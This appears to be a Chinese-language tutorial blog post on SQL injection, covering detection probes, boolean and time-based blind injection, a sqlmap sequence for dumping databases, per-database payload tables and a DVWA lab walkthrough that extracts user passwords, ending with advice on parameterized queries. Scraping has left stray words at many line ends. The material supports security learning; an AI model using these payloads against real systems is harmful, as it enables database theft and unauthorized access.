SQL注入理解與防護

1、說明

sql注入多是不少學習滲透測試的人接觸的第一類漏洞,這很正常由於sql注入多是web最經典的漏洞。但在不少教程中有的只講‘或and 1=一、and 1=2有的可能會進一步講union select、update等注入時真正用的攻擊語句,但即使是後者更多的感受像是跳到DBMS裏去講就是把數據庫版本、數據庫名、表名、列名這些都看成是已知的基於這個前提下去講。而在實際攻擊過程當中版本、數據庫名、表名、列名都是須要本身去探測的。這就致使了你聽過無數的sql注入理論和高深的利用方法,到本身去測試時只會and 1=1或祭出sqlmap。php

 

2、sql注入定義

sql注入就是閉合原先的sql語句並拼接上攻擊者想要執行的sql語句。關鍵詞是閉合和拼接。前端

2.1 注入舉例

現有頁面:http://example.com/app/accountView?id=1python

對應後臺sql語句爲:String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";mysql

當前具體生成sql語句爲:String query = "SELECT * FROM accounts WHERE custID='1';web

現攻擊者將連接(id值)改成:http://example.com/app/accountView?id='or '1'='1sql

此時具體生成sql語句爲:String query = "SELECT * FROM accounts WHERE custID=''or '1'='1';數據庫

or前的分號就起「封閉原先的sql語句」做用,or '1'='1就是「拼接上」的「攻擊者想要執行的sql語句」。安全

 

2.2 常見注入說明

仍使用上面的例子服務器

注入形式 造成注入語句 攻擊原理及效果
’(單引號) String query = "SELECT * FROM accounts WHERE custID='‘' custID等於三個單引號,這種形式sql解析器解析時會報錯,若是前端頁面也報錯一是說明該參數會帶入sql解析器二是說明sql語句沒作過濾

’and ‘1’=‘1restful

'and '1'='2

String query = "SELECT * FROM accounts WHERE custID='‘and '1'='1'

String query = "SELECT * FROM accounts WHERE custID='‘and '1'='2'

這兩條一塊兒使用,因爲’1‘=’1‘恆爲真因此應該有結果’1‘=’2‘恆爲假因此應該沒有結果,總之就是若是這二者能致使頁面顯示有區別,那也能夠說明該參數帶入sql解析器且沒作過濾。

 

'or '1'='1  String query = "SELECT * FROM accounts WHERE custID=''or '1'='1'; 'or '1'='1頁面正常返回多是注入成功了也多是作了過濾因此這種形式通常不能作爲是否存在注入的檢測方法;'or '1'='1做用是取回表中全部結果,最多見的是用於繞過登陸

 

 

 

 

 

 

 

當要注入的參數爲整型時使用and1=1/and 1=2/or 1=1的形式,當要注入的參數爲字符串類型時須要平衡單引號因此等用上表中帶單引號的形式;在具體滲透時咱們不知道是整型仍是字符串類型只能靠正常訪問時賦給變量的值來作推測,通常來說主要是以字符串類型存諸即使是數字也常常存爲字符串取出時再轉爲整型。

'or '1'='1咱們上邊說其「最多見的是用於繞過登陸」。《Metasploit滲透測試魔鬼訓練營》就使用了繞過登陸的例了,但繞過登陸如今並不那麼好用除了登陸是重點防禦區域以外如今都很強調密碼加密,password參數取回後先被md5(password)其中的單引號根本沒有「閉合」「拼接」的機會。固然'or '1'='1「做用是取回表中全部結果」,因此其餘地方仍是有用武之地的。

另外還有'or 'a'='a這類形式,這是爲了防上服務端專門針對'or '1'='1過濾而用的變種形式其本質仍是同樣的。

平衡右單引號也不是必須的,咱們有時還能夠看到‘or 1=1 --的形式,--是sql語句的註釋符號使用--右邊的單引號就被註釋掉不起做用了因此不須要平衡。其實--在注入不是原sql最後一個詞時有更大的用處,好比假設存在語句update user_table set password = 'default_password' where username = '" + request.getParameter("username") + "' and changeable = 'yes'其admin帳號chageable爲no那麼注入admin'or '1'='1也是改不了admin帳號的密碼的,但注入admin' --就能夠改。

 

2.3 sql注入位置

咱們要明確如下三點:

參數被帶入數據庫時,被帶入的CRUD的任何一處(即select、insert、update、delete)都是有可能的。

從理論上來說,不管被被帶入的是select、insert、update、delete咱們都能注入任意的sql語句進行數據庫操做。

想直接獲取數據表內容那隻能拼接select語句,insert、update、delete這三條語句也能在其後拼接select語句,可是因爲這三條語句的服務器代碼不會向前端返回數據的代碼,因此若是參數被帶入的是insert、update、delete拼接直接查詢數據表內容的select語句是沒有意義的(固然exists大於等於等符件性select仍是有用,因此下方3.7.1獲取數據表內容的方法仍是可用的)。想直接獲取數據表內容須要能注入的語句本來就是select語句(下方3.7.2 union select法)。

 

2.4 sql盲注

2.4.1 盲注與普通注入的區別

普通注入有兩個特徵:一是會將數據庫的內容查詢並回顯到頁面上(這是最主要的),二是會返回原始的數據庫錯誤信息(這是次要的)。數據會回顯到頁面上,那麼咱們能夠從返回的頁內中提取咱們的數據庫名等數據。

回顯內容(admin處):

返回原始數據庫錯誤信息:

盲注對應的也有兩個特徵:一是不會將數據庫內容回顯到頁面上(這是主要的),二是不會返回原始的數據庫錯誤信息。

不會將數據庫內容回顯到頁面上(只告訴你存不存在):

不會返回原始的數據庫錯誤信息(返回的是自定義的錯誤信息):

 

2.4.2 盲注如何進行

盲注場景中內容不回顯到頁面上,咱們就無法從頁面提取內容,那咱們該如何獲取數據庫內容呢。只有一種辦法,那就是把咱們的猜想構形成一個布爾表達式。

若是返回的內容和原來同樣那該表達式的猜想就是對的,若是返回的內容和原來不同那該表達式的猜想就是錯的。好比"SELECT * FROM accounts WHERE custID='1' and (length(database()))=8 -- "若是返回內容和原來同樣(此時即and 1)那說明數據庫名稱長度爲8字節,若是不同(此時即and 0)則不是8字節,繼續猜。

但「和原來同樣」這個說法可能有點問題,即咱們須要監測原來是怎樣的如今是怎樣的而後比較,這有點麻煩。咱們改形成「SELECT * FROM accounts WHERE custID='1' and if( (length(database()))=8 , sleep(3), 1) -- 」,若是查詢出現了3秒延遲那說明數據庫名長度爲8字節,若是沒出現延遲則不是8字節,繼續猜。

比較和原來是否同樣的形式即布爾型盲注,構造延時這種形式即時間型盲注。

 

3、sql注入攻擊步驟

咱們使用sqlmap或者更早之前的啊D、明小子,sql注入都是有必定步驟的,步驟也都是同樣的;手工注入同樣遵循這樣的步驟只是將工具各步敲的注入代碼改成手動敲就而已。

可經過三種辦法探測sqlmap在各步中到底注入了哪些語句,第一種是閱讀源代碼這要要有較強的能力我試了一下並不能駕御。第二種是查看C:\Users\username\.sqlmap\ouput\hostname\log文件(該文件其實就是執行sqlmap整個過程的控制檯輸出)sqlmap每次發的數據包都會以」Type-Title-Payload「三元組記錄。第三種是使用wireshark或帶上--proxy="http://127.0.0.1:8080"參數使用burpsuite截取sqlmap發送的數據包(sqlmap在ouput目錄下的文件有記住前面對連接的探測結果,即使其log文件中說本次探測發了這些payload其實也不必定真的發了,攔到的數據包和log感受對不上時要明白這一點)。

下邊各步注入代碼整理自《大中型網絡入侵要案直擊與防護》沒有逐條覈實,簡單對比了一下sqlmap探測的載荷在編碼等方面有差異但意思是基本一致的,也就差很少了。

另外常會據說數據庫提權,咱們要明確系統帳號能夠是數據庫帳號但數據庫帳號不多是系統帳號,所謂數據庫提權只是調用能執行系統命令的數據庫擴展添加系統帳號。

在確認是注入點以後,注入獲取庫名、表名、列名、字段內容,其考驗的再也不是什麼滲透測試能力,而是對sql和當前數據庫(好比oracle)的熟練程度。

這裏使用dvwa做爲演示環境,演示的是普通sql注入的注入過程,盲注須要另行將注入語句改形成相似「1' and if(select ascii(substring((select database()),1,1))=119,sleep(3),1) -- 」的形式。

 

3.1 使用sqlmap的攻擊步驟

# 查看sqlmap幫助 python sqlmap.py -h # 查看sqlmap詳細幫助 python sqlmap.py -hh # 如下各步,注意使用--data設置post內容,使用--cookie設置cookie,使用--referer設置referer,使用--proxy設置代理 # 如下各步,我以dvwa爲例,但爲了觀察體驗將有身份認證信息的--cookie刪除了,本身用dvwa要注意帶上--cookie # 如下各步,若是中途出現選擇本身不懂選哪一個,推薦直接按回車使用sqlmap默認值 # 第一步,確認目標參數。若是是get那麼直接用-u接url便可,如是是post那麼須要使用--data="username=admin&password=toor"形式 # 第二步,確認動態參數。 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" # 第三步,爆出數據庫類型 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --banner # 第四步,爆出數據庫名 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --dbs # 第五步,猜解數據庫表。使用-D指定要猜解數據表的數據庫,假設爲dvwa數據庫 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa --tables # 第六步,猜解字段名。使用-D指定數據庫,使用-T指定要猜解字段名的表,假設爲dvwa數據庫數據表爲users python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users --columns # 第七步,猜解字段值。使用-D指定數據庫,使用-T指定表,使用-C指定要猜解其內容的列,假設爲dvwa數據庫數據表爲users列爲user_id和user python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users -C user_id,user --dump # 第八步,拖庫。其實使用--dump時就已經將數據以csv格式保存到了C:\Users\username\.sqlmap\output\server_ip\dump\database_name目錄下 # 第八步,拖庫。咱們可使用--dump-format配置輸出格式,使用 --output-dir重定向輸出目錄。 # 第八步,拖庫。參數指定到什麼範圍就下載什麼範圍的數據,如下載dvwa庫users表全部以SQLITE格式輸出到當前目錄爲例(本質還是server_ip\dump\database_name) python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users --dump --dump-format=SQLITE --output-dir=.

 

3.2 手工注入的攻擊步驟

第一步,確認目標參數

咱們首先要肯定要測試哪些參數。在之前參數仍是比較容易肯定的,好比前面說的http://example.com/app/accountView?id=1,問號後邊的參數大可能是動態參數。

但如今都講restful,因此首先參數並不必定在問號後邊,好比url可能變成http://example.com/app/accountView/1/這樣的;其次大多參數都是post的,因此目標要從url更多轉移到post數據上。

第二步,確認動態參數

動態參數就是帶入數據庫的參數,不少參數是不帶入數據庫的而只有帶入數據庫的參數纔有可能致使sql注入,因此咱們須要確認哪些參數是動態參數。

沒具體去分析sqlmap等工具是怎麼肯定一個參數是否是動態參數,咱們可使用前面說的單引號法和1=1/1=2法,若是參數有過濾不能注入那咱們權當他不是動態參數也同樣的。

第三步,爆出數據庫類型

由於雖然數據庫都兼容sql92但不一樣的數據庫其具備的系統庫表和擴展功能都是不同的,這致使咱們後續查詢庫名、表名、列名具體注入語句會隨數據庫的不一樣而有差別,因此首先要確認服務端使用的是什麼數據庫,是oracle仍是mysql仍是其餘。

和檢測操做系統等相似,判斷是什麼數據庫也是用「指紋」的形式,數據庫的指紋就是數據庫支持的註釋符號、系統變量、系統函數、系統表等,因此應該能夠整理出更多的檢測語句。

數據庫 注入語句 原理 用處
access and user>0 user是mssql內置變量,類型爲nvarchar;nvarchar與int比較會報錯 msqql和access報錯不同可區分數據庫是mssql仍是access

mssql

and (select count(*) from sysobjects) >= 0

and (select count(*) from msysobjects) >= 0

mssql存在sysobjects不存在msysobjects,上句不會報錯下句會報錯

access不存在sysobjects存在msysobjects,上句會報錯下句不會報錯

可用於確認數據庫是mssql仍是access

multi

 /*

--

;

 mysql支持的註釋

mssql和oracle支持的註釋

oracle不支持多行

 報錯說明不是mysql

不報錯多是mssql或oracle

報錯極有多是oracle

mysql

select @@version

select database()

@@version是mysql的內置變量

database()是mysql的內置函數

返回正常多是mysql

oracle

and exists(select * from dual)

and (select count(*) from user_tables)>0 --

dual和user_tables是oracle的系統表

若是返回正常則說明是oracle

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

第四步,爆出數據庫名

數據庫 注入語句 說明
access   access一個數據庫對應一個文件,獲取文件名沒有很大意義
mssql

and db_name() = 0

and db_name(n) > 0

從返回的報錯信息中可獲取當前數據庫名

返回的報錯信息中有第n個數據庫的庫名

mysql

and 1=2 union select 1,database()/*

and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit n,1

select group_concat(schema_name) from information_schema.schemata

爆出當前數據庫名

n爲幾就返回第幾個數據庫的庫名返回空就表示沒有更多數據庫了

返回全部數據庫名

oracle

 and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5...from dual

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<> '上一庫名'),4,5... from dual

 返回第一個庫名

返回當前用戶所擁有的下一庫名

 

 

 

 

 

 

 

 

 

 

 

 

第五步,猜解數據庫表名

數據庫 注入語句  說明
access

and exists(select * from table_name)

and (select count(*) from table_name) >= 0

 不斷測試table_name

若是返回正常那說明該表存在

 mssql

and (select cast(count(1) as varchar(10))%2bchar(94) from [sysobjects] where xtype=char(85) and status != 0)=0 --

and (select top 1 cast(name as varchar(256)) from (select top n id,name from [sysobjects] where xtype=char(85) and status != 0 order by id)t order by id dsec)=0--

and 0<>(select top 1 name from db_name.dbs.sysobjects where xtype=0x7500 and name not in (select top n name from db_name.dbo.sysobjects where xtype=0x7500)) --

 可爆出當前數據庫表的數量

n爲幾就輸出第幾張表的表名

n爲幾就輸出db_name庫第幾張表的表名

 mysql

 and union select 1,table_name from information_schma.tables where table_schema=database() limit n,1--

select group_concat(table_name) from information_schema.tables where table_schema=database()

 n爲幾就返回當前第幾張表的表名

返回當前庫的全部表名

oracle

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5... from dual

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'上一表名'),4,5...from dual

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like '%25pass%25'),4,5... from dual

返回第一個表名

返回下一個表名

返回包含pass的表名

 

 

 

 

 

 

 

 

 

 

 

 

 

 

第六步,猜解字段名

數據庫 注入語句  
access

and exists(select column_name from table_name)

and (select count(column_name) from table_name) >=0

 table_name使用上一步獲得的表名,不斷試column_name

若是返回正常則說明該字段存在

 mssql

having 1=1 --

group by 字段名1 having 1=1 --

group by 字段名1,字段名2 having 1=1 --

可獲取表名和第一個字段名

 能夠獲得第二個字段名

能夠獲得第三個字段名

 mysql

 and 1=2 union select 1,column_name from information_schema.columns where table_name =ascii_table_name limit n,1--

select group_concat(column_name) from information_schema.columns where table_name=ascii_table_name

 ascii_table_name表示要查的表的表句的十六進制型示n爲幾就返回第幾字段的字段名

返回指定表名的全部字段

oracle

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and rownum=1),4,5... from dual

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and column<> '上一字段名' and rownum=1),4,5... from dual

返回第一個字段名

返回下一個字段名

 

 

 

 

 

 

 

 

 

 

 

 

 

 

第七步,猜解字段值

獲取字段內容,各數據庫的方法是比較通用的,固然也有一些本身特點的獲取方法我這裏就無論了

方法一:逐字節猜解法

首先猜解出字段長度,而後再逐字節猜解。

and (select top 1 len(column_name) from table_name > 1

and (select top 1 len(column_name) from table_name > 2

..

and (select top 1 len(column_name) from table_name > n-1

and (select top 1 len(column_name) from table_name > n

當n-1正常n錯誤時說明字段長度爲n(二分法快一些)

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 0

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 1

..

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n-1

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n

n-1正常n錯誤時說明字段值第一位ascii碼值爲n,再使用mid(cloumn_name,2,1)等繼續猜解後續各個位直至n便可

 

方法二:union select法

上邊的逐字節猜解法是至關費勁的,使用union select能更快捷地獲取字段值。

因爲union select要求兩邊的select返回的select字段數要同樣,因此首先使用order by猜解前邊select返回結果的字段數:

order by 1

order by 2

...

order by n-1

order by n

n-1正常,n報錯時說明原先select字段數爲n

而後使用union select查出表中內容

and 1=2 union select 1,2...,n from table_name----and 1=2是爲了使本來的select結果爲空,頁面中出現數字x說明該處是顯示的是第x字段的結果將x替換爲字段名該處即會呈現該字段的內容

and 1=2 union select 1,2..,column_name..,n from table_name----上邊的x替換成column_name,頁面中x處即會顯示column_name字段的內容

 

3.3 手工注入演示

環境使用phpStudy+DVWA,爲了更形象地還原注入場景咱們真接在頁面演示,並會給出注入時真正執行的SQL語句。

第一步,確認目標參數。請求連接爲http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#,因此目標參數爲id和Submit。

第二步,確認動態參數。Submit是按鈕不是動態參數直接跳過;輸入「1' and 1 = 1 -- 」時無報錯且有結果,輸入「1' and 1 = 2 -- 」時無報錯無結果,因此判斷id是可注入參數且爲字符串類型。

(真實執行sql語句爲:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1 = 1 -- ';)

(真實執行sql語句爲:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1 = 2 -- ';)

第三步,確認當前查詢列數。注入載荷」1' order by n -- 「,執行到n爲3時報錯(Unknown column '3' in 'order clause'),說明原先的查詢語句是兩列。

(真實執行sql語句爲:SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1 -- ';)

(真實執行sql語句爲:SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3 -- ';)

第四步,確認哪些列會被回顯到頁面上。注入「1' and 1 = 2 union select 1,2 -- 」,能夠看到第一列和第二列都會回顯到頁面上,且第一列是First name的值第二列是Surname的值。

第五步,爆出數據庫類型。將第二列改成@@version,注入「1' and 1 = 2 union select 1,@@version -- 」,有返回結果且爲5.5.53,因此判斷數據庫爲mysql且版本爲5.5.53。

 (真實執行sql語句爲:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1 = 2 union select 1,@@version -- ';)

第六步,爆出數據庫名。經上步咱們已經知道是mysql因此能夠肯定地使用mysql的注入載荷。注入「1' and 1=2 union select 1,database() -- 」,可見當前數據庫名爲dvwa。

(真實執行sql語句爲:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 1,database() -- ';)

第七步,猜解數據庫表名。注入「1' and 1 = 2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- 」,返回結果說明當前數據庫中有guestbook和users兩個表。

(真實執行sql語句爲:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- ';)

 第八步,猜解字段名。注入"1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- ",從返回結果能夠看出users表有user_id,first_name,last_name,user,password,avatar,last_login,failed_login等幾列。

(真實執行sql語句爲:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- ';)

第九步,猜解字段值。以獲取當前數據庫,users表,first_name和password列爲例。注入"1' and 1=2 union select first_name,password from users -- ",獲取內容以下圖。

(真實執行sql語句爲:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select first_name,password from users -- ';)

 

4、SQL注入防護

構造的sql語句時使用參數化形式而不使用拼接方式可以可靠地避免sql注入;主流的數據庫和語言都支持參數化形式,可參考維基百科「參數化查詢」。

拼接加對輸入進行單引號和sql關鍵字過濾的方法也能在必定程度上防禦sql注入,可是因爲數據庫的具備註釋符/鏈接符、支持十六進制寫法、具備char()等編碼函數可使sql語句變換成多種多樣的形式,因此這種方法並不可靠。

 

參考:

https://www.acunetix.com/websitesecurity/blind-sql-injection/

德丸浩-《Web應用安全權威指南》

肖遙-《大中型網絡入侵要案直擊與防護》

相關文章
相關標籤/搜索